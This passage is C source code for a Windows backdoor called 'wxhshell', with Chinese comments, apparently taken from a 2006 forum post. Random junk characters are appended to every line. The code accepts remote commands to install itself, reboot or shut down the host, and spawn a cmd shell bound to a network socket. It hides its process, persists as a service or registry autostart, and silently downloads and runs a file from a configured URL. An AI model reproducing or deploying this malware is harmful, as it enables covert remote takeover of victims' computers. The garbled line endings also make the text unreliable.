  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d4Uw+3ikW  
  } =EJ&=t  
  else { )GB#"2  
nrEI0E9  
    switch(cmd[0]) { :.:^\Q0  
  )nN!% |J  
  // 帮助 GS;GJsAs  
  case '?': { pc`P;Eui  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j<AOC?  
    break; P{Nvt/%  
  } %YG?7PBB  
  // 安装 LjZlKB5C  
  case 'i': { EP>u%]#  
    if(Install()) t{k:H4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !I7$e&Uz@  
    else ff--y8h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iI GK "}  
    break; u8f\)m  
    } \0\O/^W0  
  // 卸载 >S5J^c  
  case 'r': { pW]j.JM  
    if(Uninstall()) h+km?j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }k-V(  
    else axQ>~v WN/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '6N)sqTR  
    break; j>k ;Z j  
    } -P]O t>%S  
  // 显示 wxhshell 所在路径 i/>k_mG$d  
  case 'p': { hh;kBv07o  
    char svExeFile[MAX_PATH]; )5|9EXh  
    strcpy(svExeFile,"\n\r"); |rx5O5p  
      strcat(svExeFile,ExeFile); ;*%rFt9FK  
        send(wsh,svExeFile,strlen(svExeFile),0); %\'=Y/yP  
    break; ;c 7I "?@z  
    } prJd'  
  // 重启 6h9(u7(-N  
  case 'b': { ]E9iaq6Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |MNSIb&,W  
    if(Boot(REBOOT)) rto?*^N?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HUKrp*Hv  
    else { EX)&|2w  
    closesocket(wsh); Ez1eGPVr  
    ExitThread(0); [RF,0>^b  
    } K^WDA])  
    break; {"o9pIh{~  
    } *@rA7zPFf  
  // 关机 ]d*9@+Iu  
  case 'd': { oW~W(h!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Zkp~qx  
    if(Boot(SHUTDOWN)) K V5 '-Sv1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W8W7<ml0A  
    else { >a"J);p  
    closesocket(wsh); ()lgd7|+  
    ExitThread(0); EjP;P}_iK  
    } 6,t6~Uo/  
    break; & SXw=;B  
    } yP58H{hQM8  
  // 获取shell 1/$PxQ  
  case 's': { -2hirA<^  
    CmdShell(wsh); c>bns/f  
    closesocket(wsh); b9H(w%7ucU  
    ExitThread(0); :8 2T!  
    break; #:6-O  
  } 7Ae`>5B#  
  // 退出 X,Ql6uO  
  case 'x': { D||0c"E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s&7 3g0$$  
    CloseIt(wsh); (~~m8VJ>  
    break; w:\} B'u  
    } !5,C"r  
  // 离开 ~RR!~q  
  case 'q': { ':.Hz]]/A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :1+Aj (  
    closesocket(wsh); @.;+WQE  
    WSACleanup(); *fN+wiPD  
    exit(1); # ~<]z  
    break; :qm\FsO  
        } \[9VeqMU  
  } )^:H{1'  
  } m]qw8BoU`F  
A-Ba%Fv  
  // 提示信息 :jTSO d[r  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O84]J:b  
} hQ#e;1uD  
  } l>6tEOXt  
#*h\U]=VS  
  return; Vb,V N?l  
} %a/3*vz/I%  
n>ryS/1  
// shell模块句柄 '/O:@P5qY  
int CmdShell(SOCKET sock) MCN>3/81  
{ ' ]k<' `b|  
STARTUPINFO si; FJvY`zqB  
ZeroMemory(&si,sizeof(si)); JM7mQ'`Ud  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,X!6|l8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q}#Je.;  
PROCESS_INFORMATION ProcessInfo; |=;hQ2HyF  
char cmdline[]="cmd"; PVb[E03  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0F[ f%2j  
  return 0; C m[}DB  
} e:O,$R#g  
eiK_JPFA-  
// 自身启动模式 *PF<J/Pr  
int StartFromService(void) .n<vhLDQn  
{ $zP5Hzx  
typedef struct vF^d40gV  
{ s#?ZwD,=  
  DWORD ExitStatus; sK2N3 B&6  
  DWORD PebBaseAddress; -6[DQB  
  DWORD AffinityMask; v,<14w  
  DWORD BasePriority; {/QVs?d  
  ULONG UniqueProcessId; <-I69`  
  ULONG InheritedFromUniqueProcessId; --$* q"  
}   PROCESS_BASIC_INFORMATION; %bnXZA2Sx  
`Gio 2gl9  
PROCNTQSIP NtQueryInformationProcess; D4VDWv  
y_m+&Oe  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; aHN"I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8c5YX  
]}3s/NJi  
  HANDLE             hProcess; \_Bj"K  
  PROCESS_BASIC_INFORMATION pbi; P j   
C|ZPnm>f30  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ceUe*}\cr  
  if(NULL == hInst ) return 0; B=0^Rysg  
Ge?Wm q>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I=dG(?#7%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [=K lDfU=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I?rB7 *:  
 [ <X%  
  if (!NtQueryInformationProcess) return 0; R'Jrbe|  
S;4:`?s=i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HLWffO/  
  if(!hProcess) return 0; <Kt_ oxK,  
{SV/AN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z"8lW+r *  
,@ '^3u  
  CloseHandle(hProcess); G*9(O:  
2+9VDf2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jR%*,IeB  
if(hProcess==NULL) return 0; gG?@_ie  
G80N8Lm  
HMODULE hMod; GRcPzneiz  
char procName[255]; >pF*unC;  
unsigned long cbNeeded; zj7ta[<tr  
~nA k-toJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O},}-%G  
ed6@o4D/kf  
  CloseHandle(hProcess); M@ U >@x;  
OjGI !  
if(strstr(procName,"services")) return 1; // 以服务启动 :8`A  
KQr+VQdq>  
  return 0; // 注册表启动 xO|r<R7d7  
} D, ")n75  
9,?~dx  
// 主模块 WE\TUENac(  
int StartWxhshell(LPSTR lpCmdLine) B%tF|KKj  
{ $7q3[skH  
  SOCKET wsl; 4aHogheg  
BOOL val=TRUE; neFwxS?  
  int port=0; D7hTn@I  
  struct sockaddr_in door; .~i|kc]Ue  
Go%Z^pF3CO  
  if(wscfg.ws_autoins) Install(); VM$n|[C~  
$yx\2   
port=atoi(lpCmdLine); 6ld4'oM  
HPphTu}`  
if(port<=0) port=wscfg.ws_port; |^Iox0A  
O=jLZ2os  
  WSADATA data; zM0}(5$m  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sT?{  
e"hfeNphz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Uj5-x%~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h4]^~stI  
  door.sin_family = AF_INET; 8 W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gKh*q.  
  door.sin_port = htons(port); NsB]f{7>8+  
19$A!kH\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /S]$Hu|  
closesocket(wsl); Ro<779.Gn\  
return 1; \B#tB?rA  
} M/ 64`lcb  
SA<\n+>q^  
  if(listen(wsl,2) == INVALID_SOCKET) { ^+yz}YFM  
closesocket(wsl); c5^HGIe1  
return 1; uU^DYgs  
} KZ5%q.  
  Wxhshell(wsl); }PI:O%N;  
  WSACleanup();  I0mp[6  
W]po RTJ:  
return 0; `0Udg,KOs  
b<tV>d"Fv  
} <D |&)/#  
{4S UG o>  
// 以NT服务方式启动 ~uhW~bT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) AMyg>n!  
{ Y#os6|MV#  
DWORD   status = 0; ~:Rbd9IB  
  DWORD   specificError = 0xfffffff; 0z/*JVka  
TnQ>v{Rx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P&Ke slk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ll|-CY $  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vbmt0df  
  serviceStatus.dwWin32ExitCode     = 0; &. =8Q?  
  serviceStatus.dwServiceSpecificExitCode = 0; > 'R{,1# U  
  serviceStatus.dwCheckPoint       = 0; 7n5gXiI"  
  serviceStatus.dwWaitHint       = 0; n.@HT"  
|[rn/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _%CM<z e  
  if (hServiceStatusHandle==0) return; Z1,rN#p9  
?;l@yx  
status = GetLastError(); M8-8 T  
  if (status!=NO_ERROR) 2G8w&dtu  
{ Y#@D% a8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nVs@DH  
    serviceStatus.dwCheckPoint       = 0; #z P-, 2!r  
    serviceStatus.dwWaitHint       = 0; @V 'HX  
    serviceStatus.dwWin32ExitCode     = status; $+80V{J#  
    serviceStatus.dwServiceSpecificExitCode = specificError; :of([e|u6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @1o X&#  
    return; [l-o*@  
  } N[cIr{XBGN  
+mrLMbBiD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; J|I*n   
  serviceStatus.dwCheckPoint       = 0;  N}5  
  serviceStatus.dwWaitHint       = 0; d}O\:\}y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2WS*c7Ct  
} o<5`uV!f  
[3X\"x5@V  
// 处理NT服务事件,比如:启动、停止 vhF9|('G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bpc1> ?  
{ 8oE`>Y  
switch(fdwControl) J!om"h  
{ sV#%U%un  
case SERVICE_CONTROL_STOP: ~Z5AImR|  
  serviceStatus.dwWin32ExitCode = 0; Bv7FZK3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; bo#xqSGQ  
  serviceStatus.dwCheckPoint   = 0; P7w RX F{  
  serviceStatus.dwWaitHint     = 0; ku,{NY f^Y  
  { O[ z0+Q?6Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &KMI C  
  } Lyc6nP;F  
  return; bhD-;Y!6;  
case SERVICE_CONTROL_PAUSE: !Q"L)%)'A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -Y524   
  break; CWeQv9h]X  
case SERVICE_CONTROL_CONTINUE: .'=S1|_(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Sqi9'-%m  
  break; 7@"X?uo%o  
case SERVICE_CONTROL_INTERROGATE: pJFn 8&!J  
  break; `!cdxKLR  
}; #;8)UNc)}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _jX,1+M  
} `LoRudf_`  
5=V"tQ&d9U  
// 标准应用程序主函数 J%"5?)[z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _=0Ja S>M.  
{ to: ;:Goa  
80Y% C-Y:  
// 获取操作系统版本 qoZi1,i'  
OsIsNt=GetOsVer(); s O#cJAfuu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bqH [-mu6  
d3znb@7  
  // 从命令行安装 ovN3.0tAI  
  if(strpbrk(lpCmdLine,"iI")) Install(); #)}BY"C%  
C]Fw*t   
  // 下载执行文件 V(Pw|u" e  
if(wscfg.ws_downexe) { +7%?p"gEY\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1)c{;x& W  
  WinExec(wscfg.ws_filenam,SW_HIDE); sq=EL+=j  
} b; of9hY  
Hx6O Dj[-  
if(!OsIsNt) { ]0'cdC  
// 如果时win9x,隐藏进程并且设置为注册表启动 }-:B`:K&  
HideProc(); [NE!  
StartWxhshell(lpCmdLine); <N<0?GQ  
} z$1|D{  
else FV9{u[3m  
  if(StartFromService()) X[Iy6qt  
  // 以服务方式启动 zx<t{e7  
  StartServiceCtrlDispatcher(DispatchTable); gH7  +#/  
else 8{0XqE~ix=  
  // 普通方式启动 SOG(&)b  
  StartWxhshell(lpCmdLine); GI{EP&C  
8\;, d  
return 0; / ^)3V}  
}
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只看该作者 1 发表于: 2006-10-10
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